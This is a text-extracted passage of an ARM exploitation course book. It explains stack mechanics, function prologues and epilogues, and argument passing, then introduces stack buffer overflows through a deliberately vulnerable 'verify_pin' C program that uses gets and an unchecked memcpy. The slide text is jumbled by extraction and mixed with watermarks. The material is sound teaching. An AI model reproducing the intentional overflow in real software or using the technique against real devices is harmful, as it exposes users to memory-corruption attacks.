ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
r6
r7
?
?
POP {R6, R7, R8}
r6
r7
0x000000aa
0x000000bb
r8 ? r8 0x000000cc
(before) (after)
SP 0x000000aa
0x000000bb Shrink (Pop)
0x000000cc
SP
micede1865@wii999_com
The Stack (before) The Stack (after)
Just like with push, we can pop multiple values. Similarly, we designate multiple values within braces { } and
the pop instruction will move the top value into the leftmost register and continue working from left to right.
The SP register gets shifted 4 bytes for every register that gets popped. In this example, the top 3 values on the
Paul Erwin
stack get popped into r6, r7, and r8 as specified within the braces of the pop instruction and the SP
register gets shifted 12 bytes (4x3).
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Grow the stack Low Address
• Subtract memory from SP
• Push data onto the stack
Grow (Push)
• Shrink the stack
• Add memory to SP
micede1865@wii999_com
• Pop data off the stack Shrink (Pop)
The stack starts with a high memory address and grows down.
High Address
The Stack
Now, there is a curveball that we have to wrap our heads around. The stack grows down in memory. It starts
with a high memory address and grows down. This will probably make more sense when we start looking at
stack frames, but for now we need to understand that if we push data onto the stack the SP adjusts by
Paul Erwin
subtracting 4 bytes for each register that gets pushed. This shifts the SP register further way (further down)
from the beginning of the stack. When a value gets popped off the stack, it shrinks up, closer to the original
base address of the stack.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Since the stack grows down,
subtracting from the SP
register will grow the stack
• This is common at the
beginning of a function to SP (0xbefffa4c)
micede1865@wii999_com
make space for the stack
frame
more stack
space
The subtract (sub) instruction is common at the beginning of functions. This is to create some space on the
stack for that function to store local variables. The sample instruction below will subtract 28 (0x1c) from the
stack pointer register and store it back into SP.
Running python in the Linux console is a handy way to do some quick hex math.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~$ python
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xbefffa68-0x1c)
'0xbefffa4c'
09b91222e5d2d3d668cf8e52ec5d35ba
• This grows the stack while
lowering the address of the SP Low Address
register
Grow (Push)
• Each register that gets pushed
onto the stack, reduces the SP
micede1865@wii999_com
by 4 bytes
SP
SP
0x00000001
0x00000004
0x00000006
original r7
R1
R2
R3
MOV R1, #1
lr
MOV R2, #4
MOV R3, #6
High Address main
PUSH {R1, R2, R3}
The sub instruction can quickly adjust the stack pointer register by large amounts. Another way to grow the
stack is by pushing registers onto it. In the illustration, we see values moved into 3 registers and these 3
registers get pushed onto the stack in the ‘push {r1, r2, r3}’ instruction. This pushes the register values
Paul Erwin
onto the stack starting from the right with r3 and working to the left. The SP register gets shifted by
subtracting 4 bytes for each register (12 bytes total in this example). This shift grows the stack space by 12
bytes. The SP gets shifted down in memory, away from the higher addresses.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Calls a function to add
four values
#include <stdio.h>
micede1865@wii999_com
• Each function will get its
own “stack frame”
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0;
if (argv[1]) {
2. sscanf (optional) sscanf(argv[1], "%d", &d);
}
We are going to walk through a sample program to get familiar with the stack’s functionality. The adder
program can be found in the labs folder, but before we run it and look at things dynamically, let’s go over
some of the things we expect to see. This program calls a function that adds 4 values together and prints the
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Subsections of the stack #include <stdio.h>
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
result = adder(a,b,c,d);
Stack frames give each function its own sub section of the stack with enough space to work with its local
variables before returning back to the caller function. The stack grows down to create this space, which means
a value will be subtracted from the SP somewhere in the beginning of the called function. The compiler
Paul Erwin
determines how big of a stack frame will be required for each function. This is a set value that doesn’t change
unless changes are made to the source code and the program is recompiled.
Stack frames can also be backtraced, so that you can see the calling functions all the way back to the
beginning of the thread. This concept may be a little clearer if we can visualize the stack frames. To see a
backtrace in gdb, run the “bt” command.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
#include <stdio.h>
micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
PC
unsigned short result = 0;
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
SP
result = adder(a,b,c,d);
main
main
printf("Result: %d\n", result); stack frame
}
The main function has some room of its own on the stack to work with its local variables. In this function, the
a, b, c, d, and result variables are all local stack variables stored in the main stack frame. The
main stack frame has to be big enough to hold each one of these values. As execution proceeds through the
Paul Erwin
main function, it checks to see if a value was provided via the command line. If so, the main function will
call its first function, sscanf.
Here we are representing the location of PC in general terms to show the flow of execution within the
function.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
sscanf
micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
sscanf
unsigned short result = 0; stack frame
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
result = adder(a,b,c,d);
main
main
printf("Result: %d\n", result); stack frame
}
When the sscanf function is called, one of the first things it does will be to adjust the SP down by
subtracting a value from it (in what's known as the function prologue). This value that gets subtracted will
create enough space on the stack for the sscanf stack frame. Like main, sscanf uses its own stack frame
Paul Erwin
to store any local variables it needs while performing its duties.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
#include <stdio.h>
micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0;
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
PC SP
result = adder(a,b,c,d);
main
main
printf("Result: %d\n", result); stack frame
}
At the end of the sscanf function, just before it returns back to main, sscanf adjusts the stack back to
where it was by adding to the SP register. Once it returns back to main, the SP is back to where it was, and
we are once again working within main’s stack frame.
Paul Erwin
Essentially, the stack shifts down to create space (a stack frame) for the called function, and once the called
function returns, SP shifts back to its previous position, and we are back in the caller’s stack frame.
Going back to our example, we see that the next function that gets called is the adder function.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0; stack frame
adder
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
result = adder(a,b,c,d);
main
main
printf("Result: %d\n", result); stack frame
}
The adder function subtracts a value from the SP register in order to give itself space for its stack frame. It
adds the four values and stores the result in a local stack variable called “result” and then returns that value
to the calling function. At the end of the adder function, it does a little bit of housekeeping and adds the
Paul Erwin
same value to SP to shift it back to where it was at the beginning of the function.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
#include <stdio.h>
micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0;
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
SP
result = adder(a,b,c,d);
PC main
main
printf("Result: %d\n", result); stack frame
}
When the adder function returns, the result is stored in main’s “result” variable and execution continues.
Next, we come to the printf function which will display the result to the screen.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0; printf printf
stack frame
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
result = adder(a,b,c,d);
main
main
printf("Result: %d\n", result); stack frame
}
A pattern emerges and we can see how the stack is constantly shifting up and down (actually down and up) as
functions are called. One thing we are not showing in this example are sub functions that may get called from
sscanf or printf. These sub functions would shift the stack the same way.
Paul Erwin
The printf function will behave the same as the other two functions we looked at. It will create space for
its stack frame, perform its duties and then return to main. Shortly after the printf function returns, the
program will exit.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• In the main function, R0-R3 get loaded with arguments
via ldr instructions
• The Branch Link (BL) instruction calls the adder
function
If you look at the main function in a disassembler, just before the call (bl) to adder, you see values getting
loaded into r0-r3. These values are offsets to the r11 register. Remember that offsets can be negative
values. In this case, r11 is acting as a “frame pointer” and points to the top (highest) address in our stack
Paul Erwin
frame. By subtracting a specific offset from the frame pointer, we can reference the local variables within our
stack frame. Here it is loading the local variables a (r11 – 20), b (r11 – 16), c (r11-12),
and d (r11-24) into registers r0-r3.
Once the arguments are loaded into registers r0-r3, a bl instruction is executed. The bl or “branch and
link” instruction will first move the address after the bl instruction into the link register (lr). This will be
used to return back to main when the adder function returns. Once the link register is loaded with the
address after bl, execution gets redirected to the operand of the bl instruction, in this case, the adder
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
function.
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Branch (B)
• Usually seen when jumping within the same function
• Branch and Link (BL)
• Branch and copy the address of the next instruction into the Link
Register (LR)
micede1865@wii999_com
• Branch and Exchange (BX)
• Branch and exchange instruction set to either ARM or THUMB
• Branch and Link Exchange (BLX)
When branching to THUMB, you must add +1 to the destination memory address.
Branching is like “calling” in x86, it is a way to continue execution at a specified target address. Each one of
these B* instruction mnemonics will be followed by a target address to branch or “jump” to. One difference
from x86 is the BX and BLX instructions. These instructions will change the instruction set so that they will be
Paul Erwin
executing the right kind of instructions when they land at the target address.
B – Is just a branch, this is a common instruction to jump to other addresses within the same function.
BL – Branch with Link: Branch and copy the next instruction into LR
BX – Change the instruction set to ARM or THUMB, depending on where you are branching from
BLX – Branch and Link with a change to the instruction set, either ARM or THUMB depending where you are
branching from.
When branching to THUMB, you need to add +1 to the destination memory address. If you see odd numbered
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
instruction pointers when reverse engineering, it is pointing to THUMB instructions. This is important for
attackers to remember when writing or jumping to THUMB code.
Reference:
B: https://www.keil.com/support/man/docs/armasm/armasm_dom1361289863797.htm
BL: https://www.keil.com/support/man/docs/armasm/armasm_dom1361289865686.htm
BX: https://www.keil.com/support/man/docs/armasm/armasm_dom1361289866466.htm
BLX: https://www.keil.com/support/man/docs/armasm/armasm_dom1361289866046.htm
live
09b91222e5d2d3d668cf8e52ec5d35ba
• If you pass more than 4 arguments, registers R0-R3 are
still used, but additional arguments are passed on the
stack
micede1865@wii999_com
nemo@mako:~/labs/adder/src$ diff adder.c adder_lots.c
<
>
result = adder(a,b,c,d);
result = adder(a,b,c,d,e,f,g,h,i);
| grep "adder(a"
If we pass 4 arguments or less, we can use registers r0-r3. But what if we need to pass more than 4
arguments to a function? The adder_lots program is similar to the adder program, but instead of 4
arguments, we pass 9. The adder_lots program can be found in the labs/adder folder.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com 0x0001052c
0x0001052e
0x00010530
0x00010532
<+108>:
<+110>:
<+112>:
<+114>:
ldr
str
ldr
str
r3, [r7, #40]
r3, [sp, #4]
r3, [r7, #36]
r3, [sp, #0]
0x00010534 <+116>: ldr r3, [r7, #32]
0x00010536 <+118>: ldr r2, [r7, #28] Registers R0-R3 get loaded
0x00010538 <+120>: ldr r1, [r7, #24] (ldr)
0x0001053a <+122>: ldr r0, [r7, #20]
Branch Link (BL) to 0x0001053c <+124>: bl 0x10480 <adder>
adder function
This code snippet is from the main function in the adder_lots binary. In the first part of the snippet, we
see values getting stored on the stack. There is a pattern to how they are stored.
-
#16]) Paul Erwin
A value is loaded into r3. This value is fetched from r7 plus an offset. (Example: ldr r3, [r7,
Next, the value in r3 is stored at sp plus an offset. (Example: str r3, [sp, #16])
This pattern is repeated, and values get stored at: sp+0, sp+4, sp+8, sp+12, and sp+16. Let’s look again at the
function call:
result = adder(a,b,c,d,e,f,g,h,i);
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The arguments loaded onto the stack are e, f, g, h, and i.
In the second part of the snippet, we see registers r0-r3 getting loaded. These are arguments a, b, c,
and d.
If you would like to test this dynamically, in the mako vm we can run the adder_lots program in gdb
and set a breakpoint just inside the adder function,
09b91222e5d2d3d668cf8e52ec5d35ba
gef➤ i r
r0 0x1
r1 0x2 Registers R0-R3 hold the
r2 0x3 first 4 arguments.
r3 0x4
r4 0xbefffa98
0xbefffa28 +0x0000: 0x00000005 ← $sp
r5 0x0
0xbefffa2c +0x0004: 0x00000006
r6 0x0
0xbefffa30 +0x0008: 0x00000007
r7 0xbefffa40
0xbefffa34 +0x000c: 0x00000008
micede1865@wii999_com
r8 0x0
0xbefffa38 +0x0010: 0x00000000
r9 0x0
0xbefffa3c +0x0014: 0x00000000
r10 0x7e000
r11 0x0
r12 0xbefffb00 Stack shows arguments 5-9. (9th argument was a zero)
sp 0xbefffa28
lr 0x10541
pc 0x10480 <adder>
We are stopped just
cpsr 0x600f0030 inside the adder function
fpscr 0x0
If we hit the breakpoint at the very beginning of the adder function inside the adder_lots program, we
will see the following details confirming what we know about how arguments are passed. If we run the info
registers or “i r” for short, we see that registers r0-r3 hold the first four arguments. In contrast, we also see
Paul Erwin
that r4 does not look like a value we are passing as a parameter to be added.
If we dump some words starting at the stack pointer, we see the rest of the arguments that we passed to adder.
The stack shows values 5,6,7,8, and 0 at sp+0, sp+4, sp+8, sp+0xc, and sp+0x10.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
result = adder(a,b,c,d,e,f,g,h,i);
The adder function in the adder_lots program knows to accept r0-r3 as its first 4 arguments (a-d) and
then look to the stack to get the next 5 arguments (e-i).
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Why do we get the result #include <stdio.h>
micede1865@wii999_com
Result: 115
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
nemo@mako:~/labs/adder$ ./adder 65521
Result: 0 result = adder(a,b,c,d);
In the adder program, we can pass a value to the program via the command line, and it gets added to a, b,
and c. But if we add 65521, the result is 0. Why does this happen?
Paul Erwin
nemo@mako:~/labs/adder$ ./adder 65521
Result: 0
Answer: Because the result variable is an unsigned short and can only hold a value up to 65535. Anything
higher than that and it will roll back over starting with 0.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
When looking for bugs or building out an exploit, it is helpful to be able to read the assembly and understand
what is going on. There are times when you may need to follow a code path through multiple functions. This
lab demonstrates how arguments get passed to other functions.
OBJECTIVES PREPARATION
•
•
•
micede1865@wii999_com
Debugging sample ARM programs in gdb
Observing the ldr and str instructions
Passing arguments to a function
This lab will be done in the Mako virtual machine.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Stack Overflows
09b91222e5d2d3d668cf8e52ec5d35ba
Stack overflows are a classic form of memory corruption vulnerability and are a prime
target for attackers. Mitigations are available to prevent these types of bugs from being
exploitable. However, many embedded systems have yet to implement these
micede1865@wii999_com
mitigations, or have implemented them incorrectly. Especially in the world of IoT,
stack-based buffer overflows are still a relevant attack vector. For systems that are
designed to run mostly unnoticed, security is often an afterthought and not a high
priority.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Destination buffer is located on the stack
• Overflow occurs when a destination buffer cannot hold
the amount of data being copied into it
• Saved return address is located on the stack just beyond
micede1865@wii999_com
local variables
Stack-based buffer overflows occur when a buffer cannot hold the data that is being copied into it. This is
usually due to a lack of constraint on the size of the copy action. In stack-based buffer overflows, the
destination buffer is located on the stack, and this can sometimes result in the saved return address (link
Paul Erwin
register) being overwritten. After this occurs, and the function is ready to return, the overwritten saved return
address is popped off of the stack and into PC. Execution is redirected to the value in the input buffer that
overwrote the saved return address.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
#define KEY "8675309" bool verify_pin(char *pin) {
micede1865@wii999_com
again\n\n"); pin_buffer[strlen(pin)]='\x00';
} }
else {
printf("Door unlocked!!!\n\n"); printf("\nYou entered: %s\n", pin_buffer);
exit(0);
} if (strcmp(pin_buffer, KEY) == 0)
} return false;
else
main return true;
}
verify_pin
We are going to analyze a new program called verify_pin. In the source code (verify_pin.c) we see
a main function and a verify_pin function. The main function takes input from the command line
(argv[1]) and passes that input to the verify_pin function.
Paul Erwin
The verify_pin function will copy the provided input (*pin) into a local stack buffer (pin_buffer)
and compare that with a set value “8675309”. If it matches this value, it will return False back to the main
function, but if it does not match, it will return True.
The main function will take the result from verify_pin (either True or False) and store it in a variable
called is_locked. One of two messages will be printed out based on the value of the is_locked
variable.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Input is provided by the
int main(int argc, char *argv[]) { user on the command line
(argv[1]) and passed into
bool is_locked = true;
the verify_pin function
is_locked = verify_pin(argv[1]);
micede1865@wii999_com
if(is_locked) {
printf("The door is locked. Try again\n\n");
}
else {
printf("Door unlocked!!!\n\n");
exit(0);
}
}
The main function takes input from the command line and passes it to the verify_pin function.
The argv[] array is an array of strings passed in from the command line. The first element in the array
Paul Erwin
argv[0] is the program name and the second argument (argv[1]) is the first parameter on the
command line right after the program name.
Notice that there are now size checks on any limitations on this input in the main function.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
bool verify_pin(char *pin) {
The command line input
is passed directly into the
verify_pin function.
char pin_buffer[20];
if (!pin) {
printf("\nPlease enter a pin: ");
gets(pin_buffer);
}
else { verify_pin
memcpy(pin_buffer, pin, strlen(pin)); verify_pin
micede1865@wii999_com
}
pin_buffer[strlen(pin)]='\x00';
if (strcmp(pin_buffer, KEY) == 0)
return false;
else
return true;
main
main
} stack frame
The command line input is read in from the command line and then sent directly into the verify_pin
function. Once the verify_pin function is called, it sets up a stack frame which provides the
verify_pin function with its own stack space so that it can store and work with its local variables. So far,
Paul Erwin
we have talked about stack frames, but we haven’t looked at how they get created.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Prologue
• Setting up the stack frame
micede1865@wii999_com
Dump of assembler code for function verify_pin:
0x00010480 <+0>: push {r7, lr}
0x00010482 <+2>: sub sp, #32
0x00010484 <+4>: add r7, sp, #0
SP
main
Let’s take a look at the first few instructions of the verify_pin function in assembly. These instructions
are known as the “prologue”. We don’t see the prologue in the C source code; it is all done behind the scenes.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Prologue
• Push lr and r7 onto the stack
Low Address
Grow (Push)
micede1865@wii999_com
Dump of assembler code for function verify_pin:
0x00010480 <+0>: push {r7, lr}
0x00010482 <+2>: sub sp, #32
0x00010484 <+4>: add r7, sp, #0
Shrink (Pop)
SP
original r7
lr
main
High Address
The lr (link register) and r7 register get pushed onto the stack. Notice that they get pushed on from right
to left as they are listed in the instruction. The stack pointer register gets shifted by 8 (4 bytes for each register
pushed onto the stack). Recall that the stack grows down. Because of this, the SP is now eight bytes less than it
Paul Erwin
was before pushing both the r7 and lr registers onto the stack.
Recall that the lr register will point to the instruction after the branch. In this example, this would be the
instruction in the main function that follows the branch to verify_pin. This is essentially the return address
and will get popped into pc when the function returns.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Prologue
• Subtract 32 bytes from sp to
Low Address
micede1865@wii999_com
Dump of assembler code for function verify_pin:
0x00010480 <+0>: push {r7, lr}
0x00010482 <+2>: sub sp, #32
0x00010484 <+4>: add r7, sp, #0
Shrink (Pop)
original r7
lr
main
High Address
Now, verify_pin needs to make some more space for itself on the stack. With the r7 and lr already
pushed onto the stack, it subtracts 32 from the SP register to create the verify_pin stack frame.
Remember that we grow the stack by subtracting from the stack pointer. This is very common, and you see it
Paul Erwin
at the beginning of functions in the prologue.
In the diagram, the blocks are 4 bytes each to help us accurately align the local stack data.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Prologue
• Add 0 to SP and store it in R7
Low Address
SP & r7
• R7 also known as the frame
pointer Grow (Push)
micede1865@wii999_com
Dump of assembler code for function verify_pin:
0x00010480 <+0>:
0x00010482 <+2>:
0x00010484 <+4>:
push
sub
add
{r7, lr}
sp, #32
r7, sp, #0 original r7
Shrink (Pop)
lr
The verify_pin stack
frame has now been main
High Address
created
In the next instruction, 0 is added to SP and the result is stored in r7. This is similar to copying SP into r7.
Now each point to the same location, since the previous value held by r7 has been pushed onto the stack and
will be recovered when the function returns.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Epilogue Instructions
• Returning from the function
SP & r7
micede1865@wii999_com original r7
lr
main
Before we look at how local variables are stored in the verify_pin stack frame, let’s first take a look at
how we return from a function. This happens in the function epilogue. If look at the disassembly at the end of
the verify_pin function, we see how it cleans up the stack frame and returns back to main. Let’s walk
Paul Erwin
through this process. At this point in the program, the SP and r7 register both point to the top of the stack.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Epilogue Instructions
• Add 32 to r7, bringing it to
the previous sp location SP
micede1865@wii999_com r7
original r7
lr
main
To begin to shift the stack frame back to where it was, the epilogue starts by adding 32 to the r7 register. This
is the same value that was subtracted from the SP register at the beginning of the function. When this
happens, the r7 value shifts and now points to the address on the stack that holds the original r7 value.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Epilogue Instructions
• Copy r7 into sp, this shifts sp
to the saved r7 and lr
micede1865@wii999_com SP & r7
original r7
lr
main
The next instruction is a ‘mov sp, r7’ instruction which essentially copies the r7 value (that has been
shifted already) into SP. Now they are both at the same location and point to the stack address that holds the
original r7 value.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• A copy of the LR (link
register) value is stored on
the stack just past the
local variables
• The saved LR will be verify_pin
micede1865@wii999_com
popped into PC for the
function to return saved r7 (frame pointer) original r7
stack frame
We know that the saved link register is stored on the stack and will be popped into pc. As an attacker, we see
this as a highly valuable memory address and if we can overwrite it with our own input data (in the form of an
address) that we control, we can redirect execution to wherever we want in the program’s memory space.
Paul Erwin
Another benefit of this scenario is that the local stack variables are stored just before the saved registers.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Epilogue Instructions
• Pop the original r7 back into r7
• Pop the saved lr into pc
THIS IS KEY! CONTROL FLOW CAN BE REDIRECTED
IF AN ATTACKER CAN OVERWRITE THE SAVED LR
micede1865@wii999_com
0x000104fa <+122>:
0x000104fc <+124>:
0x000104fe <+126>:
adds
mov
pop
r7, #32
sp, r7
{r7, pc} original r7 popped into r7
lr popped into pc
SP
The next instruction pops the saved value back into r7 and then the saved return address (lr) into pc,
redirecting execution back to the main function.
Paul Erwin
Now, the original r7 that gets saved onto the stack in the function prologue has been restored and we resume
execution at the address that followed the branch to verify_pin back in the main function. Also, the SP
is now pointing at the same location as it was back in the main function.
This is a common prologue/epilogue scenario. You may see more registers (other than r7) get pushed onto the
stack, but the idea is the same.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• The stack frames provide Low Address
storage for local variables
• Local variables are Grow (Push)
referenced in relation to verify_pin
verify_pin
either the stack pointer or
micede1865@wii999_com
the frame pointer Shrink (Pop) original r7
stack frame
lr
main
main
High Address stack frame
Recall once again that the stack grows down and when the function shifts the SP down further via a subtract in
the function prologue, it makes space for the function’s local stack variables.
Paul Erwin
Local variables get created inside the function and are stored in the stack frame.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
bool verify_pin(char *pin) {
4-byte pointer
to our command
line input
char pin_buffer[20];
SP
if (!pin) {
printf("\nPlease enter a pin: "); *pin
gets(pin_buffer);
}
else {
memcpy(pin_buffer, pin, strlen(pin)); verify_pin
micede1865@wii999_com
pin_buffer[strlen(pin)]='\x00';
stack frame
}
Now that verify_pin has some room to work with its local variables, let’s take a look at where they get
stored. A pointer to the input data gets passed into the verify_pin function. This pointer (called pin) gets
stored at SP+4, just inside our stack frame.
Paul Erwin
The illustration of the verify_pin stack frame aligns with the actual offsets that you would see in
assembly code.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
bool verify_pin(char *pin) {
char pin_buffer[20];
SP
if (!pin) {
printf("\nPlease enter a pin: "); *pin
gets(pin_buffer);
}
else { pin_buffer
memcpy(pin_buffer, pin, strlen(pin)); 20-byte (5x4) pin_buffer verify_pin
micede1865@wii999_com
pin_buffer[strlen(pin)]='\x00';
char array that pin_buffer stack frame
}
holds the pin_buffer
printf("\nYou entered: %s\n", pin_buffer); destination for pin_buffer
if (strcmp(pin_buffer, KEY) == 0)
the memcpy original r7
return false; lr
else
return true;
}
main
Next, we see pin_buffer get created inside the verify_pin function. It is created as a 20-char array.
Chars are 1 byte each, so pin_buffer can only hold 20 bytes. In the illustration we show this as 5 blocks
since 5x4=20. If you were to look at this function in assembly, you would see that the pin_buffer variable
starts at SP+0xc or SP+12.
Paul Erwin
At this point we see a 4-byte address (pin) at SP+4 that points to our input data and we also see a 20-byte char
array (pin_buffer) at SP+12 that will be the destination of our memcpy. Things are about to get
interesting.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Destination buffer can
bool verify_pin(char *pin) { User-provided input
char pin_buffer[20];
only hold 20 bytes
if (!pin) {
printf("\nPlease enter a pin: ");
gets(pin_buffer);
}
Copy user input into
else { dest src len fixed-size buffer. The
memcpy(pin_buffer, pin, strlen(pin)); number of bytes to
micede1865@wii999_com
pin_buffer[strlen(pin)]='\x00';
}
copy is the length of
the user input.
printf("\nYou entered: %s\n", pin_buffer);
if (strcmp(pin_buffer, KEY) == 0)
return false;
else
return true;
}
verify_pin function
The problem with the verify_pin function is that it takes in user-provided input and without any checks
copies that input into a fixed-size buffer. There are no checks in the main function either. The author of this
program trusts that the user input will never be over 20 bytes. In the memcpy function the user’s input (pin)
Paul Erwin
gets copied into pin_buffer. The length of pin (strlen(pin)) is used as the length parameter in
memcpy which tells it how many bytes to copy from the source to the destination.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Copy x number of bytes $ cat memcpy.c
from source to destination /* Public domain. */
#include <stddef.h>
micede1865@wii999_com
Go until there is no len.
char *d = dest;
const char *s = src;
while (len--)
*d++ = *s++;
return dest;
Copy 1 byte from src (*s++) }
into dest (*d++) every time
the loop executes. There are various
implementations of the
memcpy function.
Let’s take a look at what the memcpy function does. There are different implementations, but fundamentally
they do the same thing.
Paul Erwin
If you run “man memcpy” from the Linux command line, you can see a description of memcpy.
The syntax in the slide may look complex if you’re not familiar with C. The ++ will increment the pointer each
iteration of the while loop, at the same time copying one byte from the source to the destination. Also,
the length (len) variable will decrement (--) each time until it reaches zero and breaks out of the
while loop.
There are no checks in the memcpy function. There is nothing to ensure that the destination can hold the
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
number of bytes being copied into it. This isn’t necessarily a bad thing, but it puts the burden on the developer
to ensure that no overflows occur by putting checks somewhere else in the code.
The snippet of memcpy source in the slide was taken from /gcc-4.9.4/libgcc/memcpy.c.
man memcpy
...
DESCRIPTION
The memcpy() function copies n bytes from memory area src to memory area dest. The memory
live
areas must not overlap. Use memmove(3) if the memory areas do overlap.
RETURN VALUE
The memcpy() function returns a pointer to dest.
09b91222e5d2d3d668cf8e52ec5d35ba
• No bounds checks within these functions
• The function themselves are not the problem
• The developer must ensure the security surrounding these functions
• Improper implementation of these functions is the source of many bugs
micede1865@wii999_com
memcpy, strcpy, strcat, sscanf, gets, ...
Problematic functions
There is a set of C functions that have been called problematic or insecure functions. Poor implementations of
these functions has been the reason for many bugs. The function themselves are not the problem, but they offer
no bounds checking to ensure that overflows do not occur. Alternative functions are available that provide
Paul Erwin
bounds checking, but even these “safer” functions must be implemented correctly.
In addition to some of the popular functions that fall into this category, many times there will be similar (often
custom) functions that may have a different name but do the same thing.
One approach for bug hunting is to look for these functions in a target binary, and review how they are
implemented.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Reference:
https://github.com/intel/safestringlib/wiki/SDL-List-of-Banned-Functions
live
09b91222e5d2d3d668cf8e52ec5d35ba
•
•
Can I provide the input to this function?
What is the destination?
• How is the length determined?
*pin
• Are there checks surrounding this function?
pin_buffer
• If an overflow is possible, what can I overwrite? pin_buffer
micede1865@wii999_com
bool verify_pin(char *pin) {
char pin_buffer[20];
if (!pin) {
pin_buffer
pin_buffer
pin_buffer
original r7
printf("\nPlease enter a pin: "); lr
gets(pin_buffer);
}
else {
main
memcpy(pin_buffer, pin, strlen(pin));
pin_buffer[strlen(pin)]='\x00';
}
As an attacker, there are some questions that we can ask ourselves when we come across a “problematic”
function in a program.
•
Paul Erwin
Let’s try to answer these questions for the memcpy implementation in the verify_pin program.
•
live
If an overflow is possible, what can I overwrite?
• If we can overflow pin_buffer via memcpy (looking at the stack illustration in the slide) we
could overflow the original r7 and the saved link register (lr) on the stack
